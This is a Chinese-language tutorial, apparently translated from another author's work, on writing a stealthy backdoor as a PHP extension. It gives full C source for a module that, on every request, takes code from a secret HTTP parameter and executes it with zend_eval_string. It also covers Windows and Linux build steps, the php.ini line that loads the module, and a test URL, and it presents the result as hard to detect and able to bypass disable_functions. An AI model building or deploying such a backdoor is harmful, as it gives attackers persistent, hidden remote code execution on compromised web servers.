php扩展库后门,编写基于PHP扩展库的后门
author:lxj616
0x00 前言
今天我们将讨论编写基于PHP扩展库的后门。通常来说,大部分入侵者都会在脚本中留下自定义代码块后门。当然,这些东西很容易通过源代码的静态或动态分析找到。
利用PHP扩展库的好处显而易见:
很难寻找
绕过disable_functions选项
有能力控制所有的代码
访问代码执行的API
1
2
3
4
很难寻找
绕过disable_functions选项
有能力控制所有的代码
访问代码执行的API
但是我们需要有编辑PHP配置文件的能力。
0x01 细节
//【译者注:用linux两条命令搞定了,何必windows费这么大劲】
作为例子,我会用Windows来写。写扩展我用的Visual Studio 2012 Express版本。还需要的源代码最新版本,编译PHP库(可从同一来源收集)。为简单起见,我们需要是的php-5.5.15-Win32的VC11-86和源PHP-5.5.15-src.zip
解压使用C编译PHP:PHP,源代码在C:PHP-SRC。
然后,你需要进行一些设置。
1)添加预处理器定义:
ZEND_DEBUG=0
ZTS=1
ZEND_WIN32
PHP_WIN32
1
2
3
4
ZEND_DEBUG=0
ZTS=1
ZEND_WIN32
PHP_WIN32
预处理器定义
2)添加的目录,用于连接源:
C: PHP-SRCmain
C: PHP-SRCend
C: PHP-SRCTSRM
C: PHP-SRCegex
C: PHP-SRC
1
2
3
4
5
6
C:PHP-SRCmain
C:PHP-SRCend
C:PHP-SRCTSRM
C:PHP-SRC
egex
C:PHP-SRC
其他目录连接
3)添加其他目录中liboy php5ts.lib(C: PHP dev的)
其他目录库
4)添加连接库php5ts.lib。
装配额外的库
5)指定收集文件的路径。
保存配置文件
配置参数为Workspace扩展的开发后(详情可以在http://blog.slickedit.com/2007/09/creating-a-php-5-extension-with-visual-c-2005/找到),创建一个新的项目类型后门“控制台应用程序的Win32”。
在Visual StudioVyberem型“库DLL»项目”
选择合适类型
然后,从项目中删除不必要的文件。应该只需要backdoor.cpp,STDAFX.CPP和stdafx.h中。
在头文件stdafx.h中
:
#pragma once
#ifndef STDAFX
#define STDAFX
#include "zend_config.w32.h"
#include "php.h"
#endif
1
2
3
4
5
6
#pragma once
#ifndef STDAFX
#define STDAFX
#include "zend_config.w32.h"
#include "php.h"
#endif
现在,我们直接进入PHP扩展的代码。删除所有行,并添加所需的文件连接。
#include "stdafx.h"
#include "zend_config.w32.h"
#include "php.h"
1
2
3
#include "stdafx.h"
#include "zend_config.w32.h"
#include "php.h"
如果workspace设置已经正确,警告就会消失。
当模块被初始化时,会有几个事件,其中每一个都在特定条件下发生。我们需要在查询执行时,去执行我们的代码。要做到这一点,你必须初始化我们所需要的功能,我给它命名为«hideme»。
PHP_RINIT_FUNCTION(hideme);
然后你可以去看模块的初始化。
zend_module_entry hideme_ext_module_entry = {
STANDARD_MODULE_HEADER,
"simple backdoor",
NULL,
NULL,
NULL,
PHP_RINIT(hideme),
NULL,
NULL,
"1.0",
STANDARD_MODULE_PROPERTIES
};
ZEND_GET_MODULE(hideme_ext);
1
2
3
4
5
6
7
8
9
10
11
12
13
zend_module_entryhideme_ext_module_entry={
STANDARD_MODULE_HEADER,
"simple backdoor",
NULL,
NULL,
NULL,
PHP_RINIT(hideme),
NULL,
NULL,
"1.0",
STANDARD_MODULE_PROPERTIES
};
ZEND_GET_MODULE(hideme_ext);
在这篇文章中,我们只需要加载中代码被执行即可,因此运行和卸载模块由空取代。
现在,你可以去看hideme的函数体。
PHP_RINIT_FUNCTION(hideme)
{
char* method = "_POST"; //超全局数组,从中我们采取perametr和价值 char* secret_string = "secret_string"; //参数,这将是运行的代码
//【译者注:在原文作者的github代码中method是get,secret_string是execute,请大家按照github代码进行测试,不修改原文了】
zval** arr;
char* code;
if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) {
HashTable* ht = Z_ARRVAL_P(*arr);
zval** val;
if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { //查找散列表中所需的参数
code = Z_STRVAL_PP(val); //值
zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //代码执行
}
}
return SUCCESS;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PHP_RINIT_FUNCTION(hideme)
{
char*method="_POST";//超全局数组,从中我们采取perametr和价值 char* secret_string = "secret_string"; //参数,这将是运行的代码
//【译者注:在原文作者的github代码中method是get,secret_string是execute,请大家按照github代码进行测试,不修改原文了】
zval**arr;
char*code;
if(zend_hash_find(&EG(symbol_table),method,strlen(method)+1,(void**)&arr)!=FAILURE){
HashTable*ht=Z_ARRVAL_P(*arr);
zval**val;
if(zend_hash_find(ht,secret_string,strlen(secret_string)+1,(void**)&val)!=FAILURE){//查找散列表中所需的参数
code=Z_STRVAL_PP(val);//值
zend_eval_string(code,NULL,(char*)""TSRMLS_CC);//代码执行
}
}
returnSUCCESS;
}
注释应该比较清楚。最初,我们设置HTTP方法和参数secret_string。然后再寻找正确的数组参数,如果有的话,我们就从它的值中取指令,并通过zend_eval_string执行代码。
编译后的所得,即可作为一个扩展库。
下载源代码
0x02 测试
//以下为译者测试截图:
http://127.0.0.1:1629/20140917/test.php?execute=phpinfo();
1
http://127.0.0.1:1629/20140917/test.php?execute=phpinfo();
(因为原作者github代码设置的是execute)
Linux编译(kali)
apt-get install php5-dev
phpize && ./configure && make
1
2
apt-getinstallphp5-dev
phpize&&./configure&&make
在kali下测试一遍成功,我比较懒,直接chmod后把so复制到/var/www了哈哈
然后php.ini加上
extension=/var/www/back.so
1
extension=/var/www/back.so
重启apache,测试成功
评论
sfcuboy2014-09-18 12:30:16
这个太蛋疼了,用别人的扩展还得看源码了。
铁汉2014-09-18 11:58:41
就像身上藏了一只跳蚤
DM_2014-09-17 21:29:02
nginx下也有一个
https://github.com/t57root/pwnginx
php扩展库后门,编写基于PHP扩展库的后门相关推荐
- PHP扩展编写、PHP扩展调试、VLD源码分析、基于嵌入式Embed SAPI实现opcode查看
catalogue 1. 编译PHP源码 2. 扩展结构.优缺点 3. 使用PHP原生扩展框架wizard ext_skel编写扩展 4. 编译安装VLD 5. Debug调试VLD 6. VLD源码 ...
- ASP.NET Core 实战:基于 Dapper 扩展你的数据访问方法
ASP.NET Core 实战:基于 Dapper 扩展你的数据访问方法 一.前言 在非静态页面的项目开发中,必定会涉及到对于数据库的访问,最开始呢,我们使用 Ado.Net,通过编写 SQL 帮助类 ...
- python3.7扩展库是什么_Python3.4以后的版本中,____________库用于安装管理Python扩展包,________________库用于发布Python包。_学小易找答案...
[填空题]Python3.4以后的版本中,____________库用于安装管理Python扩展包,________________库用于发布Python包. [判断题]Directions: The ...
- 编写php自定义扩展
有两个理由需要自己编写PHP扩展.第一个理由是:PHP需要支持一项她还未支持的技术.这通常包括包裹一些现成的C函数库,以便提供PHP接口.例如,如果一个叫FooBase的数据库已推出市场,你需要建立一 ...
- mysql for循环_基于Swoole扩展开发异步高性能的MySQL代理服务器
MySQL数据库对每个客户端连接都会分配一个线程,所以连接非常宝贵.开发一个异步的MySQL代理服务器,PHP应用服务器可以长连接到这台Server,既减轻MYSQL的连接压力,又使PHP保持长连接减 ...
- mysql异步扩展_基于Swoole扩展开发异步高性能的MySQL代理服务器
MySQL数据库对每个客户端连接都会分配一个线程,所以连接非常宝贵.开发一个异步的MySQL代理服务器,PHP应用服务器可以长连接到这台Server,既减轻MYSQL的连接压力,又使PHP保持长连接减 ...
- 使用php开发,基于swoole扩展开发的工具 swoole-crontab
2019独角兽企业重金招聘Python工程师标准>>> 使用php开发,基于swoole扩展开发的工具 swoole-crontab https://www.oschina.net/ ...
- 小程序子组件向父组件传值_一套组件化、可复用、易扩展的微信小程序 UI 组件库...
如何使用 Wux Weapp 是一套组件化.可复用.易扩展的微信小程序 UI 组件库.在开始使用之前,需要先阅读微信小程序自定义组件的相关文档. 通过 npm 安装,需要依赖小程序基础库 2.2.1 ...
- php mcript(),PHP基于mcript扩展实现对称加密功能
本文实例讲述了PHP基于mcript扩展实现对称加密功能,结合实例形式简单分析了php使用mcript扩展进行加密与解密相关操作技巧,分享给大家供大家参考,具体如下: 1.对称加密主要利用相同的密钥来 ...
最新文章
- servlet生命周期
- html5、canvas绘制本地时钟
- 肖邦夜曲21_原装进口 | 肖邦夜曲全集 鲁宾斯坦 钢琴经典 2CD
- 2000个流处理器?RV870消息首次透露
- Spring Boot整合MyBatis连接Oracle数据库
- mysql drivermanager.getconnection_Java DriverManager.getConnection()方法:获取数据库连接
- std::thread的使用
- RHadoop安装和使用
- android 从服务器上获取APK下载安装
- 0xC000041D:用户回调期间遇到未经处理的异常
- 图片太大怎么压缩变小?图片如何压缩?
- 基于阿里云产品和开源Hudi结合
- AUC与ROC曲线面积的意义(细扒sklearn的AUC计算方法)
- 利用XML文件以及集合方法设计简单超市管理系统的Java程序
- 2021 CCPC 哈尔滨 E. Power and Modulo (思维题)
- CAGD(计算机辅助几何设计)大作业
- SQLite入门之读取手机短信
- 纯干货!视频控件VideoCapX的使用指南和常见问题合集
- JAVA WEB整合开发王者归来 -- 读书笔记 by CZF 完整版
- [深度文]YoloX部署、优化、训练相关